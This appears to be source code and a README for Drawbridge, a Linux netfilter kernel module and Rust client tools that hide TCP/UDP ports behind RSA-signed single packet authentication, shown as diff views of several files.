int verify_sig_rsa(akcipher_request *req, pkey_signature *sig)
{
int err;
void *inbuf, *outbuf, *result = NULL;
op_result res;
struct scatterlist src, dst;
crypto_akcipher *tfm = crypto_akcipher_reqtfm(req);
int MAX_OUT = crypto_akcipher_maxsize(tfm);
inbuf = kzalloc(PAGE_SIZE, GFP_KERNEL);
err = -ENOMEM;
if (!inbuf) {
return err;
}
outbuf = kzalloc(MAX_OUT, GFP_KERNEL);
if (!outbuf) {
kfree(inbuf);
return err;
}
// Init completion
init_completion(&(res.completion));
// Put the data into our request structure
memcpy(inbuf, sig->s, sig->s_size);
sg_init_one(&src, inbuf, sig->s_size);
sg_init_one(&dst, outbuf, MAX_OUT);
akcipher_request_set_crypt(req, &src, &dst, sig->s_size, MAX_OUT);
// Set the completion routine callback
// results from the verify routine will be stored in &res
akcipher_request_set_callback(
req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, op_complete,
&res);
// Compute the expected digest
#if LINUX_VERSION_CODE < KERNEL_VERSION(5, 2, 0)
err = wait_async_op(&res, crypto_akcipher_verify(req));
#else
err = wait_async_op(&res, crypto_akcipher_encrypt(req));
#endif
if (err) {
DEBUG_PRINT(KERN_INFO "[!] Digest computation failed %d\n", err);
kfree(inbuf);
kfree(outbuf);
kfree(result);
return err;
}
// Decode the PKCS#1 v1.5 encoding
sha256_template.data = RSA_digest_info_SHA256;
sha256_template.size = ARRAY_SIZE(RSA_digest_info_SHA256);
result = pkcs_1_v1_5_decode_emsa(outbuf, req->dst_len, sha256_template.data,
sha256_template.size, 32);
err = -EINVAL;
if (!result) {
DEBUG_PRINT(KERN_INFO "[!] EMSA PKCS#1 v1.5 decode failed\n");
kfree(inbuf);
kfree(outbuf);
return err;
}
/*DEBUG_PRINT(KERN_INFO "\nComputation:\n");
hexdump(result, 32); */
/* Do the actual verification step. */
if (crypto_memneq(sig->digest, result, sig->digest_size) != 0) {
DEBUG_PRINT(KERN_INFO
"[!] Signature verification failed - Key Rejected: %d\n",
-EKEYREJECTED);
kfree(inbuf);
kfree(outbuf);
return -EKEYREJECTED;
}
//DEBUG_PRINT(KERN_INFO "[+] RSA signature verification passed\n");
kfree(inbuf);
kfree(outbuf);
return 0;
}

View File

@ -0,0 +1,284 @@
/**
* @file xt_hook.c
* @brief Entrypoint for Drawbridge - NetFilter Kernel Module to Support
* BPF Based Single Packet Authentication
*
* @author Bradley Landherr
*
* @date 04/11/2018
*/
#include <linux/module.h>
#include <linux/skbuff.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/kthread.h>
#include <linux/errno.h> // https://github.com/torvalds/linux/blob/master/include/uapi/asm-generic/errno-base.h for relevent error codes
#include <linux/byteorder/generic.h>
#include <linux/rculist.h>
#include <linux/timer.h>
#include <linux/err.h>
// Version handling
#include <linux/version.h>
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 10, 0)
#include <linux/sched/task.h>
#include <net/netfilter/nf_conntrack.h>
#endif
// Netfilter headers
#include <linux/netfilter.h>
#include <linux/netfilter/x_tables.h>
#include <linux/netfilter/nf_conntrack_common.h>
#include "drawbridge.h"
#include "compat.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Bradley Landherr https://github.com/landhb");
MODULE_DESCRIPTION(
"NetFilter Kernel Module to Support BPF Based Single Packet Authentication");
MODULE_VERSION("0.1");
MODULE_ALIAS("drawbridge");
MODULE_ALIAS("ip_conntrack_drawbridge");
#define MODULE_NAME "drawbridge"
#define MAX_PORTS 10
// Companion thread
struct task_struct *raw_thread;
// defined in xt_state.c
extern conntrack_state *knock_state;
// Global configs
static unsigned short ports[MAX_PORTS] = { 0 };
static unsigned int ports_c = 0;
// Define module port list argument
module_param_array(ports, ushort, &ports_c, 0400);
MODULE_PARM_DESC(ports, "Port numbers to require knocks for");
static struct nf_hook_ops pkt_hook_ops __read_mostly = {
.pf = NFPROTO_IPV4,
.priority = NF_IP_PRI_FIRST,
.hooknum = NF_INET_LOCAL_IN,
.hook = &hook_wrapper_v4,
};
static struct nf_hook_ops pkt_hook_ops_v6 __read_mostly = {
.pf = NFPROTO_IPV6,
.priority = NF_IP_PRI_FIRST,
.hooknum = NF_INET_LOCAL_IN,
.hook = &hook_wrapper_v6,
};
/**
* @brief Determine if an incoming connection should be accepted
*
* Iterates over the guarded ports defined in the configuration,
* if an incoming connection is destined for a guarded port, performs a state
* lookup to determine if the source has previously authenticated.
*
* @return NF_ACCEPT/NF_DROP
*/
static unsigned int conn_state_check(int type, __be32 src,
struct in6_addr *src_6, __be16 dest_port)
{
unsigned int i;
for (i = 0; i < ports_c && i < MAX_PORTS; i++) {
// Check if packet is destined for a port on our watchlist
if (dest_port == htons(ports[i])) {
if (type == 4 &&
state_lookup(knock_state, 4, src, NULL, dest_port)) {
return NF_ACCEPT;
} else if (type == 6 &&
state_lookup(knock_state, 6, 0, src_6, dest_port)) {
return NF_ACCEPT;
}
return NF_DROP;
}
}
return NF_ACCEPT;
}
/**
* @brief IPv6 Hook
*
* Determines if a connection is NEW fist, ESTABLISHED connections will be ignored.
* Then determines if the connection is UDP/TCP before handing it off to
* conn_state_check to make the authorization decision.
*
* @return NF_ACCEPT/NF_DROP
*/
static unsigned int pkt_hook_v6(struct sk_buff *skb)
{
struct tcphdr *tcp_header;
struct udphdr *udp_header;
struct ipv6hdr *ipv6_header = (struct ipv6hdr *)skb_network_header(skb);
// We only want to look at NEW connections
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 10, 0)
if (skb->nfctinfo == IP_CT_ESTABLISHED &&
skb->nfctinfo == IP_CT_ESTABLISHED_REPLY) {
return NF_ACCEPT;
}
#else
if ((skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED &&
(skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED_REPLY) {
return NF_ACCEPT;
}
#endif
// Unsuported IPv6 encapsulated protocol
if (ipv6_header->nexthdr != 6 && ipv6_header->nexthdr != 17) {
return NF_ACCEPT;
}
// UDP
if (ipv6_header->nexthdr == 17) {
udp_header = (struct udphdr *)skb_transport_header(skb);
return conn_state_check(6, 0, &(ipv6_header->saddr), udp_header->dest);
}
// TCP
tcp_header = (struct tcphdr *)skb_transport_header(skb);
return conn_state_check(6, 0, &(ipv6_header->saddr), tcp_header->dest);
}
/**
* @brief IPv4 Hook
*
* Determines if a connection is NEW fist, ESTABLISHED connections will be ignored.
* Then determines if the connection is UDP/TCP before handing it off to
* conn_state_check to make the authorization decision.
*
* @return NF_ACCEPT/NF_DROP
*/
static unsigned int pkt_hook_v4(struct sk_buff *skb)
{
struct tcphdr *tcp_header;
struct udphdr *udp_header;
struct iphdr *ip_header = (struct iphdr *)skb_network_header(skb);
// We only want to look at NEW connections
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 10, 0)
if (skb->nfctinfo == IP_CT_ESTABLISHED &&
skb->nfctinfo == IP_CT_ESTABLISHED_REPLY) {
return NF_ACCEPT;
}
#else
if ((skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED &&
(skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED_REPLY) {
return NF_ACCEPT;
}
#endif
// Unsuported IPv4 encapsulated protocol
if (ip_header->protocol != 6 && ip_header->protocol != 17) {
return NF_ACCEPT;
}
// UDP
if (ip_header->protocol == 17) {
udp_header = (struct udphdr *)skb_transport_header(skb);
return conn_state_check(4, ip_header->saddr, NULL, udp_header->dest);
}
// TCP
tcp_header = (struct tcphdr *)skb_transport_header(skb);
return conn_state_check(4, ip_header->saddr, NULL, tcp_header->dest);
}
/**
* @brief Drawbridge module loading/initialization.
*
* Installs netfilter hooks, and creates listener kernel thread.
*
* @return 0 on success, !0 on error
*/
static int __init nf_conntrack_knock_init(void)
{
int ret, ret6;
raw_thread = NULL;
// Initialize our memory
if ((knock_state = init_state()) == NULL) {
return -ENOMEM;
}
// Start kernel thread raw socket to listen for SPA packets
raw_thread = kthread_create(&listen, NULL, MODULE_NAME);
if (IS_ERR(raw_thread)) {
DEBUG_PRINT(KERN_INFO "[-] drawbridge: Unable to start child thread\n");
return PTR_ERR(raw_thread);
}
// Increments usage counter - preserve structure even on exit
get_task_struct(raw_thread);
// Now it is safe to start kthread - exiting from it doesn't destroy its struct.
wake_up_process(raw_thread);
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)
ret = nf_register_net_hook(&init_net, &pkt_hook_ops);
ret6 = nf_register_net_hook(&init_net, &pkt_hook_ops_v6);
#else
ret = nf_register_hook(&pkt_hook_ops);
ret6 = nf_register_hook(&pkt_hook_ops_v6);
#endif
if (ret || ret6) {
DEBUG_PRINT(KERN_INFO "[-] drawbridge: Failed to register hook\n");
return ret;
}
LOG_PRINT(
KERN_INFO
"[+] drawbridge: Loaded module into kernel - monitoring %d port(s)\n",
ports_c);
return 0;
}
/**
* @brief Drawbridge module unloading/cleanup.
*
* Unregisters netfilter hooks, and stops the listener thread.
*
*/
static void __exit nf_conntrack_knock_exit(void)
{
int err = 0;
if (raw_thread) {
err = kthread_stop(raw_thread);
put_task_struct(raw_thread);
raw_thread = NULL;
DEBUG_PRINT(KERN_INFO "[*] drawbridge: stopped counterpart thread\n");
} else {
DEBUG_PRINT(KERN_INFO "[!] drawbridge: no kernel thread to kill\n");
}
if (knock_state) {
cleanup_states(knock_state);
}
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)
nf_unregister_net_hook(&init_net, &pkt_hook_ops);
nf_unregister_net_hook(&init_net, &pkt_hook_ops_v6);
#else
nf_unregister_hook(&pkt_hook_ops);
nf_unregister_hook(&pkt_hook_ops_v6);
#endif
LOG_PRINT(KERN_INFO
"[*] drawBridge: Unloaded Netfilter module from kernel\n");
return;
}
// Register the initialization and exit functions
module_init(nf_conntrack_knock_init);
module_exit(nf_conntrack_knock_exit);

View File

@ -0,0 +1,393 @@
/**
* @file xt_listen.c
* @brief Raw socket listener to support Single Packet Authentication
*
* @author Bradley Landherr
*
* @date 04/11/2018
*/
#include <linux/kernel.h>
#include <net/sock.h>
#include <linux/kthread.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/wait.h> // DECLARE_WAITQUEUE
#include <linux/filter.h>
#include <linux/uio.h> // iov_iter
#include <linux/version.h>
#include "drawbridge.h"
#include "key.h"
// defined in xt_state.c
extern struct timer_list *reaper;
extern conntrack_state *knock_state;
// For both IPv4 and IPv6 compiled w/
// tcpdump "udp dst port 53" -dd
struct sock_filter code[] = {
{ 0x28, 0, 0, 0x0000000c }, { 0x15, 0, 4, 0x000086dd },
{ 0x30, 0, 0, 0x00000014 }, { 0x15, 0, 11, 0x00000011 },
{ 0x28, 0, 0, 0x00000038 }, { 0x15, 8, 9, 0x00000035 },
{ 0x15, 0, 8, 0x00000800 }, { 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 6, 0x00000011 }, { 0x28, 0, 0, 0x00000014 },
{ 0x45, 4, 0, 0x00001fff }, { 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000010 }, { 0x15, 0, 1, 0x00000035 },
{ 0x6, 0, 0, 0x00040000 }, { 0x6, 0, 0, 0x00000000 },
};
static int ksocket_receive(struct socket *sock, struct sockaddr_in *addr,
unsigned char *buf, int len)
{
struct msghdr msg;
int size = 0;
struct kvec iov;
if (sock->sk == NULL) {
return 0;
}
iov.iov_base = buf;
iov.iov_len = len;
msg.msg_flags = MSG_DONTWAIT;
msg.msg_name = addr;
msg.msg_namelen = sizeof(struct sockaddr_in);
msg.msg_control = NULL;
msg.msg_controllen = 0;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 19, 0)
msg.msg_iocb = NULL;
iov_iter_init(&msg.msg_iter, WRITE, (struct iovec *)&iov, 1, len);
#else
msg.msg_iov = &iov;
msg.msg_iovlen = len;
#endif
// https://github.com/torvalds/linux/commit/2da62906b1e298695e1bb725927041cd59942c98
// switching to kernel_recvmsg because it's more consistent across versions
// https://elixir.bootlin.com/linux/v4.6/source/net/socket.c#L741
size = kernel_recvmsg(sock, &msg, &iov, 1, len, msg.msg_flags);
return size;
}
static void free_signature(pkey_signature *sig)
{
if (sig->s) {
kfree(sig->s);
}
if (sig->digest) {
kfree(sig->digest);
}
kfree(sig);
}
// Pointer arithmatic to parse out the signature and digest
static pkey_signature *get_signature(void *pkt, u32 offset)
{
// Allocate the result struct
pkey_signature *sig = kzalloc(sizeof(pkey_signature), GFP_KERNEL);
if (sig == NULL) {
return NULL;
}
// Get the signature size
sig->s_size = *(u32 *)(pkt + offset);
// Sanity check the sig size
if (sig->s_size > MAX_SIG_SIZE ||
(offset + sig->s_size + sizeof(u32) > MAX_PACKET_SIZE)) {
kfree(sig);
return NULL;
}
// Copy the signature from the packet
sig->s = kzalloc(sig->s_size, GFP_KERNEL);
if (sig == NULL) {
return NULL;
}
// copy the signature
offset += sizeof(u32);
memcpy(sig->s, pkt + offset, sig->s_size);
// Get the digest size
offset += sig->s_size;
sig->digest_size = *(u32 *)(pkt + offset);
// Sanity check the digest size
if (sig->digest_size > MAX_DIGEST_SIZE ||
(offset + sig->digest_size + sizeof(u32) > MAX_PACKET_SIZE)) {
kfree(sig->s);
kfree(sig);
return NULL;
}
// Copy the digest from the packet
sig->digest = kzalloc(sig->digest_size, GFP_KERNEL);
offset += sizeof(u32);
memcpy(sig->digest, pkt + offset, sig->digest_size);
return sig;
}
int listen(void *data)
{
int ret, recv_len, error, offset, version;
// Packet headers
struct ethhdr *eth_h = NULL;
struct iphdr *ip_h = NULL;
struct ipv6hdr *ip6_h = NULL;
//struct tcphdr * tcp_h;
//struct udphdr * udp_h;
unsigned char *proto_h = NULL; // either TCP or UDP
int proto_h_size;
struct packet *res = NULL;
// Socket info
struct socket *sock;
struct sockaddr_in source;
struct timespec64 tm;
// Buffers
unsigned char *pkt = kmalloc(MAX_PACKET_SIZE, GFP_KERNEL);
char *src = kmalloc(32 + 1, GFP_KERNEL);
pkey_signature *sig = NULL;
void *hash = NULL;
struct sock_fprog bpf = {
.len = ARRAY_SIZE(code),
.filter = code,
};
// Initialize wait queue
DECLARE_WAITQUEUE(recv_wait, current);
// Init Crypto Verification
struct crypto_akcipher *tfm;
akcipher_request *req = init_keys(&tfm, public_key, KEY_LEN);
reaper = NULL;
if (!req) {
kfree(pkt);
kfree(src);
return -1;
}
//sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
error = sock_create(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL), &sock);
if (error < 0) {
DEBUG_PRINT(KERN_INFO "[-] Could not initialize raw socket\n");
kfree(pkt);
kfree(src);
free_keys(tfm, req);
return -1;
}
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 9, 0)
ret = sock_setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER,
KERNEL_SOCKPTR((void *)&bpf), sizeof(bpf));
#else
ret = sock_setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, (void *)&bpf,
sizeof(bpf));
#endif
if (ret < 0) {
DEBUG_PRINT(KERN_INFO "[-] Could not attach bpf filter to socket\n");
sock_release(sock);
free_keys(tfm, req);
kfree(pkt);
kfree(src);
return -1;
}
reaper = init_reaper(STATE_TIMEOUT);
if (!reaper) {
DEBUG_PRINT(KERN_INFO "[-] Failed to initialize connection reaper\n");
sock_release(sock);
free_keys(tfm, req);
kfree(pkt);
kfree(src);
return -1;
}
//DEBUG_PRINT(KERN_INFO "[+] BPF raw socket thread initialized\n");
while (1) {
// Add socket to wait queue
add_wait_queue(&sock->sk->sk_wq->wait, &recv_wait);
// Socket recv queue empty, set interruptable
// release CPU and allow scheduler to preempt the thread
while (skb_queue_empty(&sock->sk->sk_receive_queue)) {
set_current_state(TASK_INTERRUPTIBLE);
schedule_timeout(2 * HZ);
// check exit condition
if (kthread_should_stop()) {
// Crucial to remove the wait queue before exiting
set_current_state(TASK_RUNNING);
remove_wait_queue(&sock->sk->sk_wq->wait, &recv_wait);
// Cleanup and exit thread
sock_release(sock);
free_keys(tfm, req);
kfree(pkt);
kfree(src);
if (reaper) {
cleanup_reaper(reaper);
}
do_exit(0);
}
}
// Return to running state and remove socket from wait queue
set_current_state(TASK_RUNNING);
remove_wait_queue(&sock->sk->sk_wq->wait, &recv_wait);
memset(pkt, 0, MAX_PACKET_SIZE);
if ((recv_len = ksocket_receive(sock, &source, pkt, MAX_PACKET_SIZE)) >
0) {
if (recv_len < sizeof(struct packet) ||
recv_len > MAX_PACKET_SIZE) {
continue;
}
// rust parser
//validate_packet(pkt, MAX_PACKET_SIZE);
// Check IP version
eth_h = (struct ethhdr *)pkt;
proto_h_size = 0;
if ((eth_h->h_proto & 0xFF) == 0x08 &&
((eth_h->h_proto >> 8) & 0xFF) == 0x00) {
version = 4;
ip_h = (struct iphdr *)(pkt + sizeof(struct ethhdr));
proto_h = (unsigned char *)(pkt + sizeof(struct ethhdr) +
sizeof(struct iphdr));
inet_ntoa(src, ip_h->saddr);
offset = sizeof(struct ethhdr) + sizeof(struct iphdr);
// check protocol
if ((ip_h->protocol & 0xFF) == 0x06) {
proto_h_size = (((struct tcphdr *)proto_h)->doff) * 4;
// tcp spec
if (proto_h_size < 20 || proto_h_size > 60) {
continue;
}
offset += proto_h_size + sizeof(struct packet);
} else if ((ip_h->protocol & 0xFF) == 0x11) {
proto_h_size = sizeof(struct udphdr);
offset += sizeof(struct udphdr) + sizeof(struct packet);
}
} else if ((eth_h->h_proto & 0xFF) == 0x86 &&
((eth_h->h_proto >> 8) & 0xFF) == 0xDD) {
version = 6;
ip6_h = (struct ipv6hdr *)(pkt + sizeof(struct ethhdr));
proto_h = (unsigned char *)(pkt + sizeof(struct ethhdr) +
sizeof(struct ipv6hdr));
inet6_ntoa(src, &(ip6_h->saddr));
offset = sizeof(struct ethhdr) + sizeof(struct ipv6hdr);
// check protocol
if ((ip6_h->nexthdr & 0xFF) == 0x06) {
proto_h_size = (((struct tcphdr *)proto_h)->doff) * 4;
// tcp spec
if (proto_h_size < 20 || proto_h_size > 60) {
continue;
}
offset += proto_h_size + sizeof(struct packet);
} else if ((ip6_h->nexthdr & 0xFF) == 0x11) {
proto_h_size = sizeof(struct udphdr);
offset += sizeof(struct udphdr) + sizeof(struct packet);
}
} else {
// unsupported protocol
continue;
}
// Process packet
res = (struct packet *)(pkt + offset - sizeof(struct packet));
// Parse the packet for a signature
sig = get_signature(pkt, offset);
if (!sig) {
DEBUG_PRINT(KERN_INFO "[-] Signature not found in packet\n");
continue;
}
// Hash timestamp + port to unlock
hash = gen_digest(proto_h + proto_h_size, sizeof(struct packet));
if (!hash) {
free_signature(sig);
continue;
}
// Check that the hash matches
if (memcmp(sig->digest, hash, sig->digest_size) != 0) {
DEBUG_PRINT(KERN_INFO "-----> Hash not the same\n");
free_signature(sig);
kfree(hash);
continue;
}
// Verify the signature
if (verify_sig_rsa(req, sig) != 0) {
free_signature(sig);
kfree(hash);
continue;
}
// Check timestamp (Currently allows 60 sec skew)
ktime_get_real_ts64(&tm);
if (tm.tv_sec > res->timestamp.tv_sec + 60) {
free_signature(sig);
kfree(hash);
continue;
}
// Add the IP to the connection linked list
if (version == 4 && ip_h != NULL) {
if (!state_lookup(knock_state, 4, ip_h->saddr, NULL,
htons(res->port))) {
LOG_PRINT(KERN_INFO
"[+] drawbridge: Authentication from:%s\n",
src);
state_add(knock_state, 4, ip_h->saddr, NULL,
htons(res->port));
}
} else if (version == 6 && ip6_h != NULL) {
if (!state_lookup(knock_state, 6, 0, &(ip6_h->saddr),
htons(res->port))) {
LOG_PRINT(KERN_INFO
"[+] drawbridge: Authentication from:%s\n",
src);
state_add(knock_state, 6, 0, &(ip6_h->saddr),
htons(res->port));
}
}
free_signature(sig);
kfree(hash);
}
}
sock_release(sock);
free_keys(tfm, req);
kfree(pkt);
kfree(src);
if (reaper) {
cleanup_reaper(reaper);
}
do_exit(0);
}

View File

@ -0,0 +1,318 @@
/**
* @file xt_state.c
* @brief Implements connection state functions for the
* conntrack_state linked list
*
* @author Bradley Landherr
*
* @date 04/11/2018
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/rwlock.h>
#include <linux/rculist.h>
#include <linux/timer.h>
#include <linux/version.h>
#include "drawbridge.h"
/*
* Globally accessed knock_state list head
*/
conntrack_state *knock_state;
/*
* Globally access mutex to protect the list
*/
spinlock_t listmutex;
DEFINE_SPINLOCK(listmutex);
/*
* Reaper thread timer
*/
struct timer_list *reaper;
/**
* @brief Utility function to compare IPv6 addresses
* @param a1 First address, of type in6_addr to compare
* @param a2 Second address, of type in6_addr to compare
* @return Zero on a match, otherwise a non-zero integer
*/
static inline int ipv6_addr_cmp(const struct in6_addr *a1,
const struct in6_addr *a2)
{
if (a2 == NULL || a1 == NULL) {
return -1;
}
return memcmp(a1, a2, sizeof(struct in6_addr));
}
/**
* @brief Utility function to log a new connections to dmesg
* @param state The SPA conntrack_state associated with this allowed connection
* @param src IPv4 address to log, if connection is IPv4
* @param src_6 IPv6 address to log, if connection is IPv6
* @return Zero on a match, otherwise a non-zero integer
*/
static inline void log_connection(struct conntrack_state *state, __be32 src,
struct in6_addr *src_6)
{
uint8_t buf[512] = {0};
// Don't log the connection if it could be considered to be the auth
// packet that we just processed. Implies a slight delay/latency
// between authorization and the subsequent connection - REVIEW
if (jiffies - state->time_added <= 200) {
return;
}
// Convert to human readable to log
if (state->type == 4) {
inet_ntoa(buf, src);
} else if (state->type == 6) {
inet6_ntoa(buf, src_6);
}
DEBUG_PRINT("[+] DrawBridge accepted connection - source: %s\n", buf);
}
/**
* @brief Initializes a new conntrack_state node in memory
*
* There will be one conntrack_state per authenticated session
* As the connection remains established, the state will be periodically
* updated with a new timestamp to maintain currency and not be destroyed
* by the reaper thread.
*
* @return Pointer to the newly allocated conntrack_state struct, NULL on error.
*/
conntrack_state *init_state(void)
{
conntrack_state *state = NULL;
if((state = kzalloc(sizeof(struct conntrack_state), GFP_KERNEL)) == NULL) {
return NULL;
}
// Zero struct
memset(state, 0, sizeof(struct conntrack_state));
// Init list
INIT_LIST_HEAD(&(state->list));
return state;
}
/**
* @brief Callback for call_rcu, asyncronously frees memory when the
* RCU grace period ends
*
* @param rcu The rcu_head for the node being freed, contains all the information necessary
* for RCU mechanism to maintain pending updates.
*/
static void reclaim_state_entry(struct rcu_head *rcu)
{
struct conntrack_state *state =
container_of(rcu, struct conntrack_state, rcu);
kfree(state);
}
/**
* @brief Update function, to create a copy of a conntrack_state struct,
* update it, and then free the old state struct with a later call to call_rcu
*
* This is called when a connection has come in and has an authenticated
* conntrack_state. update_state() will be called to update state->time_updated
* and maintain currency for ESTABLISHED connections to prevent them from being
* dropped by the reaper thread.
*
* A good reference, on updates in the RCU construct:
* http://lse.sourceforge.net/locking/rcu/HOWTO/descrip.html
*
* @param old_state The conntrack_state to be updated, and later freed
*/
static inline void update_state(conntrack_state *old_state)
{
// Create new node
conntrack_state *new_state = init_state();
if (!new_state) {
return;
}
memcpy(new_state, old_state, sizeof(struct conntrack_state));
new_state->time_updated = jiffies;
// obtain lock to list for the replacement
spin_lock(&listmutex);
list_replace_rcu(&old_state->list, &new_state->list);
spin_unlock(&listmutex);
return;
}
/**
* @brief Function to iterate the conntrack_state list to check
* if a IP address has properly authenticated with DrawBridge.
* If so, the conntrack_state will be updated to keep the connection
* established.
*
* @param head Beginning of the conntrack_state list
* @param type IP potocol version, either 4 or 6
* @param src IPv4 address to log, if connection is IPv4
* @param src_6 IPv6 address to log, if connection is IPv6
* @param port Port attempting to be connected to
*/
int state_lookup(conntrack_state *head, int type, __be32 src,
struct in6_addr *src_6, __be16 port)
{
conntrack_state *state;
rcu_read_lock();
list_for_each_entry_rcu (state, &(head->list), list) {
if (state->type == 4 && state->src.addr_4 == src &&
state->port == port) {
update_state(state);
#ifdef DEBUG
log_connection(state, src, src_6);
#endif
rcu_read_unlock();
call_rcu(&state->rcu, reclaim_state_entry);
return 1;
} else if (state->type == 6 &&
ipv6_addr_cmp(&(state->src.addr_6), src_6) == 0 &&
state->port == port) {
update_state(state);
#ifdef DEBUG
log_connection(state, src, src_6);
#endif
rcu_read_unlock();
call_rcu(&state->rcu, reclaim_state_entry);
return 1;
}
}
rcu_read_unlock();
return 0;
}
/**
* @brief Function to add a new conntrack_state to the list
* called upon successful authentication
*
* @param head Beginning of the conntrack_state list
* @param type IP potocol version, either 4 or 6
* @param src IPv4 address that authenticated, if connection is IPv4
* @param src_6 IPv6 address that authenticated, if connection is IPv6
* @param port Port that connections will be allowed to
*/
void state_add(conntrack_state *head, int type, __be32 src,
struct in6_addr *src_6, __be16 port)
{
// Create new node
conntrack_state *state = init_state();
// set params
state->type = type;
if (type == 4) {
state->src.addr_4 = src;
} else if (type == 6) {
memcpy(&(state->src.addr_6), src_6, sizeof(struct in6_addr));
}
state->port = port;
state->time_added = jiffies;
state->time_updated = jiffies;
// add to list
spin_lock(&listmutex);
list_add_rcu(&(state->list), &(head->list));
spin_unlock(&listmutex);
return;
}
void cleanup_states(conntrack_state *head)
{
conntrack_state *state, *tmp;
spin_lock(&listmutex);
list_for_each_entry_safe (state, tmp, &(head->list), list) {
list_del_rcu(&(state->list));
synchronize_rcu();
kfree(state);
}
spin_unlock(&listmutex);
}
/* -----------------------------------------------
Reaper Timeout Functions
----------------------------------------------- */
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 14, 153)
void reap_expired_connections_new(struct timer_list *timer)
{
reap_expired_connections(timer->expires);
return;
}
#endif
// Initializes the reaper callback
struct timer_list *init_reaper(unsigned long timeout)
{
struct timer_list *my_timer = NULL;
my_timer =
(struct timer_list *)kmalloc(sizeof(struct timer_list), GFP_KERNEL);
if (!my_timer) {
return NULL;
}
// setup timer to callback reap_expired
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 14, 153)
timer_setup(my_timer, reap_expired_connections_new, 0);
#else
setup_timer(my_timer, reap_expired_connections, timeout);
#endif
// Set the timeout value
mod_timer(my_timer, jiffies + msecs_to_jiffies(timeout));
return my_timer;
}
// Cleans up and removes the timer
void cleanup_reaper(struct timer_list *my_timer)
{
del_timer(my_timer);
kfree((void *)my_timer);
}
/**
* Callback function for the reaper: removes expired connections
* @param timeout Conn
*/
void reap_expired_connections(unsigned long timeout)
{
conntrack_state *state, *tmp;
spin_lock(&listmutex);
list_for_each_entry_safe (state, tmp, &(knock_state->list), list) {
if (jiffies - state->time_updated >= msecs_to_jiffies(timeout)) {
list_del_rcu(&(state->list));
synchronize_rcu();
kfree(state);
continue;
}
}
spin_unlock(&listmutex);
// Set the timeout value
mod_timer(reaper, jiffies + msecs_to_jiffies(timeout));
return;
}

View File

@ -0,0 +1,33 @@
[package]
name = "dbtools"
version = "1.0.0"
authors = ["landhb <landhb@github>"]
edition = "2018"
description = """
Usermode tools for Drawbridge. A Layer 4 Single Packet Authentication Linux kernel
module utilizing Netfilter hooks and kernel supported Berkeley Packet Filters (BPF)
"""
keywords = ["spa", "auth", "netfilter", "linux-kernel"]
categories = ["command-line-utilities"]
homepage = "https://github.com/landhb/Drawbridge"
repository = "https://github.com/landhb/Drawbridge"
readme = "README.md"
license = "GPL-3.0-or-later"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
# Multi-command utility to send auth packets
# generate keys, etc.
[[bin]]
name = "db"
path = "src/main.rs"
[dependencies]
pnet = "0.23.0"
libc = "0.2.66"
failure = "0.1.6"
rand = "0.3"
clap = "2.33.0"
ring = "0.16.11"
openssl = { version = "0.10.28", features = ["vendored"] }
shellexpand = "2.0.0"

View File

@ -0,0 +1,177 @@
![logo](https://github.com/landhb/DrawBridge/blob/master/img/logo.PNG?raw=true)
The Usermode tools package for Drawbridge; a layer 4 Single Packet Authentication (SPA) Module, used to conceal TCP/UDP ports on public facing machines and add an extra layer of security.
Please read the corresponding [article](https://www.landhb.me/posts/bODdK/port-knocking-with-netfilter-kernel-modules/) for a more in-depth look at the design.
# Basic usage
```bash
sudo db auth --server [REMOTE_SERVER] --dport 53 -p udp --unlock [PORT_TO_UNLOCK]
```
To give the `db` binary CAP_NET_RAW privs so that you don't need `sudo` to run it:
```bash
chmod 500 ~/.cargo/bin/db
sudo setcap cap_net_raw=pe ~/.cargo/bin/db
```
It's also convenient to create a bash alias to run `db` automatically when you want to access the port that it's guarding.
```bash
alias "connect"="db auth -s [REMOTE] -d 53 -p udp --unlock [PORT] && ssh -p [PORT] user@[REMOTE]"
```
## Build and Install the Drawbridge Utilities
The usermode tools are now written in Rust! Build and install them with cargo:
```
git clone https://github.com/landhb/Drawbridge
cargo install --path Drawbridge/tools
# or
cargo install dbtools
```
## Build and Install the Drawbridge Module
To automagically generate keys, run the following on your client machine:
```bash
db keygen
```
The output of the keygen utility will be three files: `~/.drawbridge/db_rsa`, `~/.drawbridge/db_rsa.pub` and `key.h`. Keep `db_rsa` safe, it's your private key. `key.h` is the public key formated as a C-header file. It will be compiled into the kernel module.
To compile the kernel module simply, bring `key.h`, cd into the kernel directory and run `make`.
```bash
# on the server compile the module and load it
# pass the ports you want to monitor as an argument
mv key.h kernel/
cd kernel
make
sudo modprobe x_tables
sudo insmod drawbridge.ko ports=22,445
```
You may need to install your kernel headers to compile the module, you can do so with:
```
sudo apt-get install linux-headers-$(uname -r)
sudo apt-get update && sudo apt-get upgrade
```
This code has been tested on Linux Kernels between 4.X and 5.9. I don't plan to support anything earlier than 4.X but let me know if you encounter some portabilitity issues on newer kernels.
## Customizing a Unique 'knock' Packet
If you wish to customize your knock a little more you can edit the TCP header options in client/bridge.c. For instance, maybe you want to make your knock packet have the PSH,RST,and ACK flags set and a window size of 3104. Turn those on:
```c
// Flags
